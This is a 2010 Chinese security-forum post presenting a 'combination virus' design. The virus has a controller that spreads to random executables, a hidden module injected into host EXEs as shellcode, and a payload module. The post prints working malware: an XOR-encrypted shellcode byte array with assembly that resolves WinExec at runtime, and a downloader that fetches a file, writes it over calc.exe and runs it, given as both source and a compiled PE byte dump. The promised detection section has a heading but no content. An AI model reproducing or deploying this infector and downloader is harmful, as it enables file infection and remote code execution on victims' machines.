首页
社区
课程
招聘
[原创]基于shellcode感染方式的组合病毒研究
发表于: 2010-4-7 22:10 13861

[原创]基于shellcode感染方式的组合病毒研究

2010-4-7 22:10
13861
[目录]
[0x01].简介
[0x02].组合病毒
   2.1.原理
   2.2.一种实现思路
[0x03].技术实现
   3.1.控制模块C的伪码描述
   3.2.隐藏模块S的shellcode
   3.3.关于执行模块T
   3.4.整体框架
[0x04].检测讨论

[0x01].简介    
      
    组合病毒的概念,最早是在计算机病毒理论研究中确定的一种病毒类型。是属于理论上预测存在,实际环境中还未得到证实的一种病毒类型。在
最近的分析样本中发现了类似思路的病毒,在该思路的基础上我们探讨一种可能的组合病毒技术实现及检测方案。

[0x01].组合病毒 

    2.1.原理
   
    组合病毒与一般计算机病毒的差异是组合病毒由两部分a(激活函数)和h(隐藏函数)组成,每个成分单独都不构成病毒,只有它们组合在一起才构
成一个计算机病毒。在激活函数a未作用到被h感染的程序前,被h感染的程序表现如原来一样,激活函数a作用后,被感染程序才开始表现感染和传播性。
组合病毒的特点是难于清除和具有极强的隐蔽性。关于这方面原理性描述可查找基于递归函数的计算机病毒描述一文。

    2.2.一种实现思路
    
    根据前面的原理可知,组合病毒至少需要由两个部分(a,h)功能代码组成,在这里我们设想构造一个由3部分独立功能代码组成的程序。对任意一个
符合组合病毒思路的exe程序,都可由三部分组成,分别是控制模块C、执行模块T、隐藏模块S组成,我们可以设想模块C完成激活功能及整体调度功能,模
块T完成病毒的payload部分,这里我们把它简化一段类似downloader下载器的功能,模块S是隐藏的,基于shellcode方式感染其它exe文件,在模块C未进行
调度激活前,被S感染的宿主程序不具有破坏行为,激活后模块S将调用执行模块T。工作流程如下:

 病毒文件CV(组合病毒)
     |
     |
    \|/
     +-----------------+              .-------------------------.
     |   控制模块C     |------------->| 可随机选取一个感染对象  |
     +-----------------+              .-------------------------.
     |   执行模块T     |------------->| 可随机分散在任意文件夹中|
     +-----------------+              .-------------------------.
     |   隐藏模块S     |------------->| 可随机感染一组文件对象  |
     +-----------------+              .-------------------------.
    

    执行步骤:
    
    1  模块C随机选取一个路径,注入模块S,去感染该路径下的所有文件,当获得控制权时,执行模块C传入的参数。
    
    2  模块C释放若干个模块T到随机的不同路径下。
    
    3  模块C随机选取一个路径下的文件,拷贝整体CV去感染它。
    
    4  当被模块S感染后的宿主程序运行时,且路径P下存在模块T,那么病毒将被执行。
    
       
    这样当以计算机病毒的定义方式去检测时,模块C,T,S,将不可被检测(仅是理论衡量而不是实际检测)。因模块C仅是控制调度程序,具备感染性但却不具备
破坏能力。模块T虽有破坏功能但不具备感染能力且不能主动运行,模块S虽然感染了宿主文件获得了执行权限但他本身并没有感染与破坏能力。

    所以仅当模块C,释放模块T到相应路径下,模块S感染了宿主程序时,病毒才会执行破坏功能。    
    
[0x03].技术实现
   
   3.1.控制模块C的伪码描述
   
   begin
   
       获得随机路径列表t;
       
       获得本次产生随机路径个数n1;       
       for each t[i] do
         用模块S去感染t[i]下的exe文件  ;当没有匹配时,S一直处于隐藏当中     
         
       获得本次产生随机路径个数n2;
       for each t[j] do  
         释放模块T到t[j]处             ;相当于激活      
       
       do
           随机产生一个被感染文件k;
       while(k包含在t[i]中,且未被s感染)
       
       拷贝自身CV去感染k;
   
   end   
   
   3.2.隐藏模块S的shellcode   
   
    S的部分功能非常简单,它只为了获得权限去执行一个exe程序。当然为了避免启发式检测,也可以做的比较复杂,这里仅做一个简单的演示,先重
定位,解密,获得kernel32基址,获得WinExec API,执行即可。需要注意的是S模块本身并不知道要执行的exe路径,这里是模块C,激活后操作的,为了
简单起见,在将模块S注入到宿主程序的一段空穴中后,可将路径直接写在S模块后面一同加密处理。
                                 
                                 加密                   注入
   模块S   --->+-------------+ -------> +----------+ -----------> +---------+   宿主程序 
               | shellcode   |          | loader   |              | eop    -|-.
               +-------------+          |----------|              |---------| |
   模块C写入-->| 模块T的路径 |          |crypt data|              |宿主空穴 | |
               +-------------+          +----------+              | s模块 <-|-.
                                                                  |         |
                                                                  +---------+
                                                                  
                                                                  
 下面是模块S的shellcode,
  unsigned char data[176] = {
  0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x15, 0xB1, 0x10, 0x66, 0x8B, 0x18, 0x66, 0x81, 
  0xFB, 0xF6, 0xF7, 0x74, 0x05, 0x30, 0x08, 0x40, 0xEB, 0xF1, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x57, 
  0x69, 0x6E, 0x45, 0x78, 0x65, 0x63, 0x00, 0x5E, 0xB9, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x07, 0x00, 
  0x00, 0x00, 0xE8, 0x24, 0x00, 0x00, 0x00, 0xEB, 0x72, 0x56, 0x33, 0xC0, 0x64, 0x8B, 0x40, 0x30, 
  0x85, 0xC0, 0x78, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x40, 0x08, 0xEB, 0x09, 
  0x8B, 0x40, 0x34, 0x8D, 0x40, 0x7C, 0x8B, 0x40, 0x3C, 0x5E, 0xC3, 0x8B, 0xD8, 0x03, 0x58, 0x3C, 
  0x83, 0xC3, 0x78, 0x8B, 0x1B, 0x03, 0xD8, 0x8B, 0x53, 0x20, 0x03, 0xD0, 0x53, 0x33, 0xDB, 0x56, 
  0x51, 0x8B, 0x3A, 0x03, 0xF8, 0xF3, 0xA6, 0x74, 0x08, 0x59, 0x5E, 0x83, 0xC2, 0x04, 0x43, 0xEB, 
  0xEE, 0x59, 0x59, 0x59, 0xD1, 0xE3, 0x8B, 0x51, 0x24, 0x03, 0xD0, 0x03, 0xD3, 0x8B, 0x12, 0x81, 
  0xE2, 0xFF, 0xFF, 0x00, 0x00, 0x8B, 0x59, 0x1C, 0x03, 0xD8, 0xC1, 0xE2, 0x02, 0x03, 0xDA, 0x8B, 
  0x13, 0x03, 0xD0, 0xC3, 0x58, 0x6A, 0x00, 0x50, 0xFF, 0xD2, 0xC3, 0xE8, 0xF4, 0xFF, 0xFF, 0xFF
};
   
汇编代码如下:   
.code 
assume fs:nothing
START:
  call reloc
reloc:
  pop eax
  add eax,15h ;定位到begin
  mov cl,10h  ;此处数字随意填写,最终在注入时,由模块C随机产生一个数值,并写如该位置
encrypt:
  mov     bx,[eax]
  cmp     bx,0f7f6h ;f7f6h是设定的边界值
  je      begin
  xor     [eax],cl  ;cl 是密钥,由外部程序改写
  inc     eax
  jmp     encrypt       
  
begin:  
  call  _run
  db 'W'
  db 'i'
  db 'n'
  db 'E'
  db 'x'
  db 'e'
  db 'c'
  db 0  

_run:
    pop esi ; 要搜索的api名称
    mov ecx,7
    call find_k32_address
    call get_api
    jmp exec
      
find_k32_address:
  push esi           ;push0
  xor  eax,eax
  mov  eax,fs:[eax+30h]
  test eax,eax
  js   f_k32_win9x
  mov  eax,[eax+0ch]
  mov  esi,[eax+1ch]
  lodsd 
  mov  eax,[eax+8h]
  jmp f_k32_finished
  
f_k32_win9x:
  mov  eax,[eax+34h]
        lea  eax,[eax+7ch]
        mov  eax,[eax+3ch]  

f_k32_finished:
       pop esi           ;pop0
       ret        
  
get_api:
        mov ebx,eax
        add ebx,[eax+3ch]
        add ebx,78h
        mov ebx,[ebx]
        add ebx,eax  ;查找导入表
        mov edx,[ebx+20h]
        add edx,eax
        push ebx    ; push1 - 导入表结构指针
        xor ebx,ebx
        
cmp_api_name:
  push esi    ; push2
  push ecx    ; push3
  mov  edi,[edx]
  add  edi,eax
  repe cmpsb
  je   get_api_address
  pop ecx
  pop esi
  add edx,4
  inc ebx
  jmp cmp_api_name  
    
get_api_address:
  pop ecx
  pop ecx
  pop ecx
  shl ebx,1
  mov edx,[ecx+24h]
  add edx,eax
  add edx,ebx
  mov edx,[edx]
  and edx,0ffffh
  mov ebx,[ecx+1ch]
  add ebx,eax
  shl edx,2
  add ebx,edx
  mov edx,[ebx]
  add edx,eax
  ret       
     
exec_t:
  pop eax  ; eax 内容即指向了shellcode尾部,由模块C写入的激活执行T的路径。
  push 0
  push eax
  call edx
  ret    
exec:
  call exec_t

end START
以上代码参考了Cr4sh的代码略加修改,感谢Cr4sh。

   3.3.关于执行模块T
   
   这里模块T部分仅做演示,仅为一个downloader功能。生产的exe文件未做减肥优化。
   
.586
.model flat , stdcall 
include urlmon.inc 
include kernel32.inc
include user32.inc
includelib urlmon.lib
includelib kernel32.lib
includelib user32.lib

.data
sz_net_path db "http://127.0.0.1/x.bin",0
sz_loc_path db "c:\windows\calc.exe",0
sz_title    db "model T",0     
.code

START:
    invoke URLDownloadToFile,0,offset sz_net_path,offset sz_loc_path,0,0
    invoke WinExec,offset sz_loc_path,0
    invoke MessageBox,0,offset sz_loc_path,offset sz_title ,0
    invoke ExitProcess,0
end START
   
unsigned char data[2560] = {
  0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 
  0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 
  0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 
  0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 
  0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 
  0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x5D, 0x87, 0x01, 0x72, 0x19, 0xE6, 0x6F, 0x21, 0x19, 0xE6, 0x6F, 0x21, 0x19, 0xE6, 0x6F, 0x21, 
  0x97, 0xF9, 0x7C, 0x21, 0x12, 0xE6, 0x6F, 0x21, 0xE5, 0xC6, 0x7D, 0x21, 0x18, 0xE6, 0x6F, 0x21, 
  0x52, 0x69, 0x63, 0x68, 0x19, 0xE6, 0x6F, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x03, 0x00, 
  0x92, 0x8B, 0x90, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x0F, 0x01, 
  0x0B, 0x01, 0x05, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 
  0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
  0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 
  0x37, 0xF7, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 
  0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x20, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x20, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 
  0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 
  0xEA, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 
  0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 
  0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x6A, 0x00, 0x6A, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0x68, 0x00, 0x30, 0x40, 0x00, 0x6A, 0x00, 
  0xE8, 0x27, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0xE8, 0x27, 0x00, 0x00, 
  0x00, 0x6A, 0x00, 0x68, 0x2B, 0x30, 0x40, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0x6A, 0x00, 0xE8, 
  0x1A, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xCC, 0xFF, 0x25, 0x0C, 0x20, 
  0x40, 0x00, 0xFF, 0x25, 0x04, 0x20, 0x40, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x40, 0x00, 0xFF, 0x25, 
  0x14, 0x20, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0xB8, 0x20, 0x00, 0x00, 0xAA, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0xD0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x20, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0x20, 0x00, 0x00, 0x0C, 0x20, 0x00, 0x00, 
  0x6C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x20, 0x00, 0x00, 
  0x00, 0x20, 0x00, 0x00, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0xDE, 0x20, 0x00, 0x00, 0x14, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 
  0xAA, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0xD0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x55, 0x52, 0x4C, 0x44, 0x6F, 0x77, 
  0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x54, 0x6F, 0x46, 0x69, 0x6C, 0x65, 0x41, 0x00, 0x00, 0x75, 0x72, 
  0x6C, 0x6D, 0x6F, 0x6E, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x80, 0x00, 0x45, 0x78, 0x69, 0x74, 
  0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x94, 0x02, 0x57, 0x69, 0x6E, 0x45, 0x78, 0x65, 
  0x63, 0x00, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 
  0x9D, 0x01, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x75, 0x73, 
  0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
